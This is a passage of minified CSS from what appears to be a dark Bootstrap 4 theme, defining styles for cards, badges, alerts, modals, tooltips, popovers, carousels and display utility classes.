rgba(0,0,0,0.125)}.card-footer:last-child{border-radius:0 0 calc(0.25rem - 1px) calc(0.25rem - 1px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(0.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(0.25rem - 1px);border-top-right-radius:calc(0.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(0.25rem - 1px);border-bottom-left-radius:calc(0.25rem - 1px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width: 576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width: 576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-img-top,.card-group>.card:first-child .card-header{border-top-right-radius:0}.card-group>.card:first-child .card-img-bottom,.card-group>.card:first-child .card-footer{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-img-top,.card-group>.card:last-child .card-header{border-top-left-radius:0}.card-group>.card:last-child .card-img-bottom,.card-group>.card:last-child .card-footer{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:0.25rem}.card-group>.card:only-child .card-img-top,.card-group>.card:only-child .card-header{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card-group>.card:only-child .card-img-bottom,.card-group>.card:only-child .card-footer{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer{border-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width: 576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem}.card-columns .card{display:inline-block;width:100%}}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#282828;border-radius:0.25rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:0.5rem;padding-left:0.5rem;color:#555;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#555}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:0.25rem}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-1px;line-height:1.25;color:#fff;background-color:#282828;border:1px solid transparent}.page-link:hover{color:#fff;text-decoration:none;background-color:#2A9FD6;border-color:transparent}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem}.page-item:last-child .page-link{border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#2A9FD6;border-color:#2A9FD6}.page-item.disabled .page-link{color:#555;pointer-events:none;cursor:auto;background-color:#282828;border-color:transparent}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.09375rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:0.3rem;border-bottom-left-radius:0.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:0.3rem;border-bottom-right-radius:0.3rem}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.765625rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:0.2rem;border-bottom-left-radius:0.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:0.2rem;border-bottom-right-radius:0.2rem}.badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#2A9FD6}.badge-primary[href]:hover,.badge-primary[href]:focus{color:#fff;text-decoration:none;background-color:#2180ac}.badge-secondary{color:#fff;background-color:#555}.badge-secondary[href]:hover,.badge-secondary[href]:focus{color:#fff;text-decoration:none;background-color:#3c3b3b}.badge-success{color:#fff;background-color:#77B300}.badge-success[href]:hover,.badge-success[href]:focus{color:#fff;text-decoration:none;background-color:#558000}.badge-info{color:#fff;background-color:#9933CC}.badge-info[href]:hover,.badge-info[href]:focus{color:#fff;text-decoration:none;background-color:#7a29a3}.badge-warning{color:#212529;background-color:#FF8800}.badge-warning[href]:hover,.badge-warning[href]:focus{color:#212529;text-decoration:none;background-color:#cc6d00}.badge-danger{color:#fff;background-color:#CC0000}.badge-danger[href]:hover,.badge-danger[href]:focus{color:#fff;text-decoration:none;background-color:#990000}.badge-light{color:#212529;background-color:#f8f9fa}.badge-light[href]:hover,.badge-light[href]:focus{color:#212529;text-decoration:none;background-color:#dae0e5}.badge-dark{color:#fff;background-color:#222}.badge-dark[href]:hover,.badge-dark[href]:focus{color:#fff;text-decoration:none;background-color:#090808}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#282828;border-radius:0.3rem}@media (min-width: 576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:0.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:3.8125rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#16536f;background-color:#d4ecf7;border-color:#c3e4f4}.alert-primary hr{border-top-color:#addaf0}.alert-primary .alert-link{color:#0e3344}.alert-secondary{color:#2c2c2c;background-color:#dddddd;border-color:#cfcfcf}.alert-secondary hr{border-top-color:#c2c2c2}.alert-secondary .alert-link{color:#131212}.alert-success{color:#3e5d00;background-color:#e4f0cc;border-color:#d9eab8}.alert-success hr{border-top-color:#cee4a4}.alert-success .alert-link{color:#1c2a00}.alert-info{color:#501b6a;background-color:#ebd6f5;border-color:#e2c6f1}.alert-info hr{border-top-color:#d8b2ec}.alert-info .alert-link{color:#311141}.alert-warning{color:#854700;background-color:#ffe7cc;border-color:#ffdeb8}.alert-warning hr{border-top-color:#ffd29f}.alert-warning .alert-link{color:#522c00}.alert-danger{color:#6a0000;background-color:#f5cccc;border-color:#f1b8b8}.alert-danger hr{border-top-color:#eda3a3}.alert-danger .alert-link{color:#370000}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#121212;background-color:lightgray;border-color:#c1c1c1}.alert-dark hr{border-top-color:#b4b4b4}.alert-dark .alert-link{color:black}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.65625rem;background-color:#282828;border-radius:0.25rem}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;background-color:#2A9FD6;-webkit-transition:width 0.6s ease;transition:width 0.6s ease}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#282828;text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{color:#282828;text-decoration:none;background-color:#2A9FD6}.list-group-item-action:active{color:#888;background-color:#2A9FD6}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-1px;background-color:#222;border:1px solid #282828}.list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.list-group-item:hover,.list-group-item:focus{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#555;background-color:#282828}.list-group-item.active{z-index:2;color:#fff;background-color:#2A9FD6;border-color:#2A9FD6}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#16536f;background-color:#c3e4f4}.list-group-item-primary.list-group-item-action:hover,.list-group-item-primary.list-group-item-action:focus{color:#16536f;background-color:#addaf0}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#16536f;border-color:#16536f}.list-group-item-secondary{color:#2c2c2c;background-color:#cfcfcf}.list-group-item-secondary.list-group-item-action:hover,.list-group-item-secondary.list-group-item-action:focus{color:#2c2c2c;background-color:#c2c2c2}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#2c2c2c;border-color:#2c2c2c}.list-group-item-success{color:#3e5d00;background-color:#d9eab8}.list-group-item-success.list-group-item-action:hover,.list-group-item-success.list-group-item-action:focus{color:#3e5d00;background-color:#cee4a4}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#3e5d00;border-color:#3e5d00}.list-group-item-info{color:#501b6a;background-color:#e2c6f1}.list-group-item-info.list-group-item-action:hover,.list-group-item-info.list-group-item-action:focus{color:#501b6a;background-color:#d8b2ec}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#501b6a;border-color:#501b6a}.list-group-item-warning{color:#854700;background-color:#ffdeb8}.list-group-item-warning.list-group-item-action:hover,.list-group-item-warning.list-group-item-action:focus{color:#854700;background-color:#ffd29f}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#854700;border-color:#854700}.list-group-item-danger{color:#6a0000;background-color:#f1b8b8}.list-group-item-danger.list-group-item-action:hover,.list-group-item-danger.list-group-item-action:focus{color:#6a0000;background-color:#eda3a3}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#6a0000;border-color:#6a0000}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:hover,.list-group-item-light.list-group-item-action:focus{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#121212;background-color:#c1c1c1}.list-group-item-dark.list-group-item-action:hover,.list-group-item-dark.list-group-item-action:focus{color:#121212;background-color:#b4b4b4}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#121212;border-color:#121212}.close{float:right;font-size:1.3125rem;font-weight:700;line-height:1;color:#fff;text-shadow:none;opacity:.5}.close:hover,.close:focus{color:#fff;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -25%);transform:translate(0, -25%)}.modal.show .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - (0.5rem * 2))}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#222;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:0.5}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #282828;border-top-left-radius:0.3rem;border-top-right-radius:0.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #282828}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width: 992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.765625rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:1}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-top,.bs-tooltip-auto[x-placement^="top"]{padding:0.4rem 0}.bs-tooltip-top .arrow,.bs-tooltip-auto[x-placement^="top"] .arrow{bottom:0}.bs-tooltip-top .arrow::before,.bs-tooltip-auto[x-placement^="top"] .arrow::before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#282828}.bs-tooltip-right,.bs-tooltip-auto[x-placement^="right"]{padding:0 0.4rem}.bs-tooltip-right .arrow,.bs-tooltip-auto[x-placement^="right"] .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-right .arrow::before,.bs-tooltip-auto[x-placement^="right"] .arrow::before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#282828}.bs-tooltip-bottom,.bs-tooltip-auto[x-placement^="bottom"]{padding:0.4rem 0}.bs-tooltip-bottom .arrow,.bs-tooltip-auto[x-placement^="bottom"] .arrow{top:0}.bs-tooltip-bottom .arrow::before,.bs-tooltip-auto[x-placement^="bottom"] .arrow::before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#282828}.bs-tooltip-left,.bs-tooltip-auto[x-placement^="left"]{padding:0 0.4rem}.bs-tooltip-left .arrow,.bs-tooltip-auto[x-placement^="left"] .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-left .arrow::before,.bs-tooltip-auto[x-placement^="left"] .arrow::before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#282828}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#282828;border-radius:0.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.765625rem;word-wrap:break-word;background-color:#282828;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 0.3rem}.popover .arrow::before,.popover .arrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-top,.bs-popover-auto[x-placement^="top"]{margin-bottom:0.5rem}.bs-popover-top .arrow,.bs-popover-auto[x-placement^="top"] .arrow{bottom:calc((0.5rem + 1px) * -1)}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{border-width:0.5rem 0.5rem 0}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before{bottom:0;border-top-color:rgba(0,0,0,0.25)}.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{bottom:1px;border-top-color:#282828}.bs-popover-right,.bs-popover-auto[x-placement^="right"]{margin-left:0.5rem}.bs-popover-right .arrow,.bs-popover-auto[x-placement^="right"] .arrow{left:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{border-width:0.5rem 0.5rem 0.5rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before{left:0;border-right-color:rgba(0,0,0,0.25)}.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{left:1px;border-right-color:#282828}.bs-popover-bottom,.bs-popover-auto[x-placement^="bottom"]{margin-top:0.5rem}.bs-popover-bottom .arrow,.bs-popover-auto[x-placement^="bottom"] .arrow{top:calc((0.5rem + 1px) * -1)}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{border-width:0 0.5rem 0.5rem 0.5rem}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before{top:0;border-bottom-color:rgba(0,0,0,0.25)}.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{top:1px;border-bottom-color:#282828}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid #202020}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left .arrow,.bs-popover-auto[x-placement^="left"] .arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{border-width:0.5rem 0 0.5rem 0.5rem}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before{right:0;border-left-color:rgba(0,0,0,0.25)}.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{right:1px;border-left-color:#282828}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:0.875rem;color:#fff;background-color:#202020;border-bottom:1px solid #141414;border-top-left-radius:calc(0.3rem - 1px);border-top-right-radius:calc(0.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#888}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-transition:-webkit-transform 0.6s ease;transition:-webkit-transform 0.6s ease;transition:transform 0.6s ease;transition:transform 0.6s ease, -webkit-transform 0.6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}}.carousel-item-next,.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next,.active.carousel-item-right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0)}}.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,0.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.bg-primary{background-color:#2A9FD6 !important}a.bg-primary:hover,a.bg-primary:focus,button.bg-primary:hover,button.bg-primary:focus{background-color:#2180ac !important}.bg-secondary{background-color:#555 !important}a.bg-secondary:hover,a.bg-secondary:focus,button.bg-secondary:hover,button.bg-secondary:focus{background-color:#3c3b3b !important}.bg-success{background-color:#77B300 !important}a.bg-success:hover,a.bg-success:focus,button.bg-success:hover,button.bg-success:focus{background-color:#558000 !important}.bg-info{background-color:#9933CC !important}a.bg-info:hover,a.bg-info:focus,button.bg-info:hover,button.bg-info:focus{background-color:#7a29a3 !important}.bg-warning{background-color:#FF8800 !important}a.bg-warning:hover,a.bg-warning:focus,button.bg-warning:hover,button.bg-warning:focus{background-color:#cc6d00 !important}.bg-danger{background-color:#CC0000 !important}a.bg-danger:hover,a.bg-danger:focus,button.bg-danger:hover,button.bg-danger:focus{background-color:#990000 !important}.bg-light{background-color:#f8f9fa !important}a.bg-light:hover,a.bg-light:focus,button.bg-light:hover,button.bg-light:focus{background-color:#dae0e5 !important}.bg-dark{background-color:#222 !important}a.bg-dark:hover,a.bg-dark:focus,button.bg-dark:hover,button.bg-dark:focus{background-color:#090808 !important}.bg-white{background-color:#fff !important}.bg-transparent{background-color:transparent !important}.border{border:1px solid #dee2e6 !important}.border-top{border-top:1px solid #dee2e6 !important}.border-right{border-right:1px solid #dee2e6 !important}.border-bottom{border-bottom:1px solid #dee2e6 !important}.border-left{border-left:1px solid #dee2e6 !important}.border-0{border:0 !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.border-primary{border-color:#2A9FD6 !important}.border-secondary{border-color:#555 !important}.border-success{border-color:#77B300 !important}.border-info{border-color:#9933CC !important}.border-warning{border-color:#FF8800 !important}.border-danger{border-color:#CC0000 !important}.border-light{border-color:#f8f9fa !important}.border-dark{border-color:#222 !important}.border-white{border-color:#fff !important}.rounded{border-radius:0.25rem !important}.rounded-top{border-top-left-radius:0.25rem !important;border-top-right-radius:0.25rem !important}.rounded-right{border-top-right-radius:0.25rem !important;border-bottom-right-radius:0.25rem !important}.rounded-bottom{border-bottom-right-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-left{border-top-left-radius:0.25rem !important;border-bottom-left-radius:0.25rem !important}.rounded-circle{border-radius:50% !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}@media (min-width: 576px){.d-sm-none{display:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-sm-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 768px){.d-md-none{display:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-md-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 992px){.d-lg-none{display:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-lg-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 1200px){.d-xl-none{display:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex 